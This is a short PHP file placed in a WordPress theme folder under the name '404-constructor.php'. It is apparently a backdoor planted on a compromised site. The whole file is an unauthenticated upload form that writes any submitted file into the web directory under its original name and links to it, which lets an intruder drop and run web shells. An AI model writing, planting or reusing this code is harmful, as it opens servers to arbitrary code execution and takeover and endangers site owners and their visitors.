File: /var/www/virtual/mariaellingsen.com/htdocs/wp-content/themes/twentysixteen/404-constructor.php
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title><?php echo $_SERVER['HTTP_HOST'] ?></title>
</head>
<body>
<form method="post" enctype="multipart/form-data">
<input type="file" name="filename">
<input type="submit" value="submit">
</form>
<?php
if ( is_uploaded_file( $_FILES["filename"]["tmp_name"] ) ) {
move_uploaded_file( $_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"] );
$file = $_FILES["filename"]["name"];
echo "<a href=\"$file\">$file</a>";
}
?>
</body>
</html>